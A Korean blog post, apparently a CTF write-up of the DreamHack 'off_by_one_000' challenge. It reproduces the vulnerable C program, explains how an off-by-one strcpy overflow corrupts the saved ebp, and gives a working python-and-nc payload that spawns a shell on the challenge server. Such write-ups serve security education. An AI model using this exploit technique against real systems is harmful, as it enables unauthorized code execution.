vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • LNK FIile
  • Artifacts
  • File Execution
  • Windows Artifact
  • iconcahce
  • Digital-Forensic
  • shellbag forensics
  • ssd
  • JavaScript
  • digital-forensics
  • Digital Forensic
  • sql injection
  • forensic artifacts
  • shellbag
  • Thumbcache
  • webhacking.kr
  • forensic-cheatsheet
  • trim
  • Los

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/DreamHack

DreamHack : off_by_one_000

2020. 11. 19. 13:59
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256];

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}

Get shell 함수가 있다 이걸 사용하면 되겠다.

cpy 함수에서 strcpy를 이용하니 여기서 bof 가 발생할 것 같다.

cp_name 의 사이즈는 256

real_name 의 사이즈도 256이다.

저번에 포너블 문제 풀면서 char 문자열의 최대 길이만큼 주면 NULL 문자 한바이트를 더 삽입할 수 있다고 한 게 생각이 났다. 일단 함수들 주소랑 그런거 파악해 보자.

좀 더 생각해 볼만한 것은 cp_name 이 스택 상에 있는 변수는 아니라는 것이다. 전역변수니까. 이제 cpy()함수 상의 real_name은 지역변수니까 여기서 스택을 사용한다. 여기서 bof 가 확실한 것 같은데, 우리가 RET를 조작할 수 있는지가 의문이다.

OFF-BY-ONE 이라는 공격기법이 있는 모양이다. 이제 입력 사이즈를 최대로 주면, 문자열이 더 복사되어서 ebp 값이 변조되는 것 같다. 변조된 ebp 값이 return 되기 때문에 shell을 실행할 수 있다.

get_shell : 0x80485db

vared@ubuntu:~/hacking/dreamhack$ (python -c 'print "\xdb\x85\x04\x08"*64';cat)|nc host1.dreamhack.games 12871
Name: Name: ۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅۅ
ls
flag
off_by_one_000
cat flag
DH{-----flag-----}
저작자표시

'WriteUp > DreamHack' 카테고리의 다른 글

DreamHack : ssp_001  (0) 2020.11.19
DreamHack : ssp_000  (0) 2020.11.19
DreamHack : Sint  (0) 2020.11.19
DreamHack : Out_of_bound  (0) 2020.11.19
DreamHack : off_by_one_001  (0) 2020.11.19
    'WriteUp/DreamHack' 카테고리의 다른 글
    • DreamHack : ssp_000
    • DreamHack : Sint
    • DreamHack : Out_of_bound
    • DreamHack : off_by_one_001
    vared
    vared

    티스토리툴바